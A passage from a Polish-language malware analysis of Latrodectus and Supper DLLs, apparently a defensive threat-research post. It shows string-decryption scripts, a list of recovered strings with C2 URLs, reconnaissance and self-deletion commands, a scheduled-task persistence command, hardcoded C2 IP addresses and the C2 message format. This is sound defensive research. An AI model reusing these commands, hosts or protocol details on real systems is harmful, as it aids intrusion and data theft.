&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mh"&gt;0xd6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xb8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x62&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x26&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xce&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xc3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xe2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x4c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xe8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x73&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xe7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x83&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x9c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x77&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xb1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xa9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x3b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x57&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xb2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x5f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xdb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xea&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xb6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xa2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;datas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;encrypted.txt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;r&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;datas&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoded_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;chunk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoded_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;u16&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt; &lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;

  &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;aes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ctr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Klucz deszyfrujący wyciągnęliśmy ręcznie, natomiast plik &lt;code&gt;encrypted.txt&lt;/code&gt; zawierał
zaszyfrowane ciągi znaków z binarki i został wygenerowany przy użyciu następującego skryptu &lt;a href="https://github.com/msm-code/ghidralib"&gt;ghidralib&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;ghidralib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;string_decrypt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;calls&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Emulator&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;emulate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;rcx&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;read_u16&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot; &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;read_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;hex&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Korzystamy tutaj z faktu, że referencje do zaszyfrowanych ciągów znaków znajdują się prawie zawsze
bezpośrednio przed wywołaniem funkcji, dzięki czemu możemy emulować po kilka instrukcji poprzedzających opcode
&lt;code&gt;CALL&lt;/code&gt; i odczytać stan rejestru ECX.&lt;/p&gt;
&lt;p&gt;Po odfiltrowaniu mniej istotnych wyników uzyskaliśmy następującą listę:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;0x18000fd60 runnung
0x180010060 Kallichore
0x180010898 https://gasrobariokley.com/work/
0x1800108d0 https://fadoklismokley.com/work/
0x1800112b8 \update_data.dat
0x180010a10 Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
0x180011168 \Registry\Machine\
0x180010bd0 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
0x180010340 KK4Yp3894K6jOwLqbvOT035AwCpkKlxZeCzBLsKHt0k3j5yI0REck3FegyF6rcWq
0x1800103a0 counter=%d&amp;amp;type=%d&amp;amp;guid=%s&amp;amp;os=%d&amp;amp;arch=%d&amp;amp;username=%s&amp;amp;group=%lu&amp;amp;ver=%d.%d&amp;amp;up=%d&amp;amp;direction=%s
0x180010420 counter=%d&amp;amp;type=%d&amp;amp;guid=%s&amp;amp;os=%d&amp;amp;arch=%d&amp;amp;username=%s&amp;amp;group=%lu&amp;amp;ver=%d.%d&amp;amp;up=%d&amp;amp;direction=%s
0x1800104a0 /c reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid | findstr MachineGuid
0x180010580 C:\Windows\System32\cmd.exe
0x1800105e0 /c reg query &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\IDConfigDB\Hardware Profiles\0001&amp;quot; /v HwProfileGuid | findstr HwProfileGuid
0x180010710 C:\Windows\System32\cmd.exe
0x180010770 counter=%d&amp;amp;type=%d&amp;amp;guid=%s&amp;amp;os=%d&amp;amp;arch=%d&amp;amp;username=%s&amp;amp;group=%lu&amp;amp;ver=%d.%d&amp;amp;up=%d&amp;amp;direction=%s
0x180010830 &amp;amp;dpost=
0x180010190 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
0x180010220 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
0x1800100b0 Content-Type: application/x-www-form-urlencoded
0x180010118 POST
0x180010138 GET
0x1800102c0 CLEARURL
0x1800102e0 URLS
0x180010300 COMMAND
0x180010320 ERROR
0x180010000 front
0x180010020 /files/
0x18000fc00 &amp;amp;desklinks=[
0x18000fae8 &amp;amp;proclist=[
0x18000fb28 &amp;quot;pid&amp;quot;: 
0x18000fb68 &amp;quot;proc&amp;quot;: 
0x18000fba8 &amp;quot;subproc&amp;quot;: [
0x18000fa10 &amp;quot;pid&amp;quot;: 
0x18000fa50 &amp;quot;proc&amp;quot;: 
0x18000fa90 &amp;quot;subproc&amp;quot;: [
0x18000ffb0 C:\Windows\System32\cmd.exe
0x180010fc0 &amp;amp;mac=
0x180011038 &amp;amp;computername=%s
0x180011060 &amp;amp;domain=%s
0x180010f40 explorer.exe
0x180011320 URLS|%d|%s
0x180010ee0 12345
0x18000f000 /c ipconfig /all
0x18000f070 C:\Windows\System32\cmd.exe
0x18000f038 /c systeminfo
0x18000f0c0 C:\Windows\System32\cmd.exe
0x18000f110 /c nltest /domain_trusts
0x18000f190 C:\Windows\System32\cmd.exe
0x18000f1e0 /c nltest /domain_trusts /all_trusts
0x18000f240 C:\Windows\System32\cmd.exe
0x18000f290 /c net view /all /domain
0x18000f300 C:\Windows\System32\cmd.exe
0x18000f158 /c net view /all
0x18000f350 C:\Windows\System32\cmd.exe
0x18000f3a0 /c net group &amp;quot;Domain Admins&amp;quot; /domain
0x18000f400 C:\Windows\System32\cmd.exe
0x18000f450 /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
0x18000f520 C:\Windows\System32\wbem\wmic.exe
0x18000f580 /c net config workstation
0x18000f5d0 C:\Windows\System32\cmd.exe
0x18000f620 /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed
0x18000f780 C:\Windows\System32\cmd.exe
0x18000f7d0 /c whoami /groups
0x18000f810 C:\Windows\System32\cmd.exe
0x18000f2d8 &amp;amp;ipconfig=
0x18000f860 &amp;amp;systeminfo=
0x18000f888 &amp;amp;domain_trusts=
0x18000f8b0 &amp;amp;domain_trusts_all=
0x18000f8e0 &amp;amp;net_view_all_domain=
0x18000f910 &amp;amp;net_view_all=
0x18000f938 &amp;amp;net_group=
0x18000f960 &amp;amp;wmic=
0x18000f980 &amp;amp;net_config_ws=
0x18000f9a8 &amp;amp;net_wmic_av=
0x18000f9d0 &amp;amp;whoami_group=
0x180010e38 Content-Type: application/dns-message
0x180010e78 Content-Type: application/ocsp-request
0x180010eb8 Content-Length: 0
0x180010f20 &amp;amp;stiller=
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Wśród odzyskanych łańcuchów znaków na szczególną uwagę zasługują:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Kallichore&lt;/code&gt; - nazwa grupy&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KK4Yp3894K6jOwLqbvOT035AwCpkKlxZeCzBLsKHt0k3j5yI0REck3FegyF6rcWq&lt;/code&gt; - klucz szyfrujący&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CLEARURL&lt;/code&gt;, &lt;code&gt;URLS&lt;/code&gt;, &lt;code&gt;COMMAND&lt;/code&gt; - polecenia C2&lt;/li&gt;
&lt;li&gt;wywołania &lt;code&gt;cmd.exe&lt;/code&gt;, które mogą być wykorzystane jako IoC&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ostatnia istotna obserwacja, której dokonaliśmy wspomagając się &lt;a href="https://www.vmray.com/latrodectus-a-year-in-the-making/"&gt;wpisem na blogu VMRay&lt;/a&gt;,
dotyczy faktu, że parametr &lt;code&gt;group&lt;/code&gt; w żądaniu HTTP (&lt;code&gt;group=2201209746&lt;/code&gt; w naszym przykładzie) jest hashem &lt;code&gt;FNV-1a&lt;/code&gt;
nazwy kampanii. Z samego żądania HTTP można więc odzyskać nazwę kampanii, przeprowadzając brute-force na zawartym w nim haszu.&lt;/p&gt;
&lt;h1&gt;Oprogramowanie Supper&lt;/h1&gt;
&lt;p&gt;Przeanalizowaliśmy również dwie dodatkowe podejrzane biblioteki DLL znalezione na maszynie. Pierwszą z nich był plik &lt;code&gt;245282244.dll&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;2528df60e55f210a6396dd7740d76afe30d5e9e8684a5b8a02a63bdcb5041bfc 245282244.dll
21b953dc06933a69bcb2e0ea2839b47288fc8f577e183c95a13fc3905061b4e6 760468301.dll
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Pierwsza próbka była spakowana tym samym packerem co Latrodectus. Wykonaliśmy ręcznie dump pamięci
w momencie pierwszego dostępu typu &lt;code&gt;execute&lt;/code&gt; do dynamicznie utworzonej sekcji &lt;code&gt;RWX&lt;/code&gt;. Pozwoliło nam to
uzyskać czysty i łatwy w analizie zrzut pamięci.&lt;/p&gt;
&lt;p&gt;Druga próbka była spakowana innym, nierozpoznanym typem packera, co utrudniło analizę 
i nie uzyskaliśmy czystego zrzutu pamięci. W momencie analizy próbka nie była dostępna w serwisie VirusTotal.&lt;/p&gt;
&lt;p&gt;Główną funkcją w rozpakowanych bibliotekach DLL jest &lt;code&gt;DllRegisterServer&lt;/code&gt;. Hardkodowane adresy IP serwerów to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;85.239.54.130:1080&lt;/code&gt;, &lt;code&gt;85.239.54.130:8080&lt;/code&gt; - z pierwszej próbki, nieaktywne w czasie naszej analizy&lt;/li&gt;
&lt;li&gt;&lt;code&gt;162.19.199.110:4043&lt;/code&gt; - z pierwszej próbki, aktywny w czasie naszej analizy&lt;/li&gt;
&lt;li&gt;&lt;code&gt;185.233.166.27:443&lt;/code&gt; - z drugiej próbki&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pozwoliło nam to ustalić, że złośliwe oprogramowanie należy do rodziny Supper.&lt;/p&gt;
&lt;p&gt;Jako mechanizm persystencji próbka dodawała się jako zaplanowane zadanie (Scheduled Task) w systemie Windows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;schtasks.exe /Create /SC MINUTE /TN GoogleUpdateTask /TR &amp;quot;cmd.exe /C del \&amp;quot;%s\&amp;quot; &amp;amp;&amp;amp; schtasks.exe /Delete /TN GoogleUpdateTask /F&amp;quot; /F
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Aby w pełni zrozumieć możliwości złośliwego oprogramowania, przeprowadziliśmy analizę jego komunikacji sieciowej.
Złośliwe oprogramowanie wysyła do serwera C2 następującą wiadomość:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;     &lt;span class="n"&gt;const1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x00691155&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;     &lt;span class="n"&gt;srvip&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// IP of the target server&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;computer_name&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;user_name&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="n"&gt;domain_name&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;W odpowiedziach otrzymaliśmy wyłącznie komendę 1, podkomendę 0. W tym przypadku złośliwe oprogramowanie
wykonuje następujące polecenie shellowe:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 &amp;gt; Nul &amp;amp; Del /f /q &amp;quot;%s&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Po dwóch bajtach określających komendę znajduje się reszta payloadu:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;uint16_t&lt;/span&gt; &lt;span class="n"&gt;type1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// Command 1&lt;/span&gt;
    &lt;span class="kt"&gt;uint16_t&lt;/span&gt; &lt;span class="n"&gt;type2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// Command 2&lt;/span&gt;
    &lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt;     &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt; &lt;span class="c1"&gt;// encrypted&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Ten nagłówek jest "zaszyfrowany" przy użyciu jednobajtowego klucza XOR o wartości "M", natomiast dane
są szyfrowane przy użyciu niestandardowego algorytmu przedstawionego poniżej:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;custom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;v2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v1&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
        &lt;span class="n"&gt;v2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;v2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Ponownie jedyną komendą, którą otrzymaliśmy była komenda numer 6.
Polecenie to aktualizuje listę aktywnych serwerów C2. Aktualnie znane serwery C2 są zapisywane
w katalogu &lt;code&gt;%s/orl&lt;/code&gt; lub &lt;code&gt;%s/s01bafg&lt;/code&gt; (w zależności od próbki). Inne obsługiwane polecenia
to między innymi funkcja serwera proxy SOCKS oraz uruchamiania programów wysłanych z serwera C2.&lt;/p&gt;
&lt;p&gt;Znajomość protokołu komunikacji pozwoliła nam zaimplementować skrypt automatycznie
pobierający kolejne adresy IP C2 i uzyskać następującą listę adresów IP serwerów C2:&lt;/p&gt;
&lt;ul&gt;
